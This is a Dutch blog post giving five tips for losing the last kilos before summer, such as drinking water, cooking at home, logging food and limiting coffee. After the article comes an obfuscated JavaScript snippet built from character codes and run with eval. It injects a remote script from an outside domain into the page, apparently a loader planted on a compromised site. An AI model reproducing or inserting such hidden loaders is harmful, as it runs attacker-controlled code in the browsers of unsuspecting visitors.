We willen allemaal die laatste kilootjes kwijt voor de zomer, want in de winter komen we op de een of andere manier toch altijd wat aan. Hierbij een aantal tips waardoor je écht die laatste kilo’s kwijt bent voor de zomer begint.
1. Water!
Iedereen zou gemiddeld 2 liter water moeten drinken per dag. Geen zorgen dat je hierdoor aankomt, want dat is echt niet zo. Het lichaam heeft het vocht nodig.
2. Kook zelf
Hoe goed die opwarm maaltijden er soms ook uit zien, doe het niet. Heel vaak zitten er dingen toegevoegd in het eten om het niet snel te laten bederven. Koop je eigen verse groenten en kook zelf.
3. Schrijf alles op wat je eet!
En dan bedoelen we ook echt alles, dus ook als je stiekem dat ene koekje pakt of dat handje chips. Ben eerlijk tegen jezelf en schrijf het op. Wanneer je alles hebt opgeschreven, kun je werkelijk zien wat je in een week tijd eet. Hierdoor kun je slechte gewoonten eruit halen.
4. Maximaal 2 koppen koffie per dag
Hoewel je koffie natuurlijk nodig hebt voor de start van de dag, is het eigenlijk helemaal niet super goed voor je. Als je het dan ook drinkt, drink het dan maximaal 2 keer per dag en zwart. Dus geen bergen melk en suiker erin en zeker geen cappuccino’s.
5. Ontbijt
Een goed ontbijt zorgt dat je stofwisseling snel op gang komt. Zorg voor een goed ontbijt met voldoende eiwitten.
Natuurlijk zijn er nog veel meer dingen waar je aan moet werken, maar als je deze tips al toepast zal je het al heel gauw merken in je eetpatroon. Ook kun je er natuurlijk bij sporten. Maar onthoud dit: door alleen sporten en ongezond eten ga je geen tien kilo afvallen. Eten blijft nou eenmaal het meest belangrijke als je afvalt. Heel veel succes!
var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
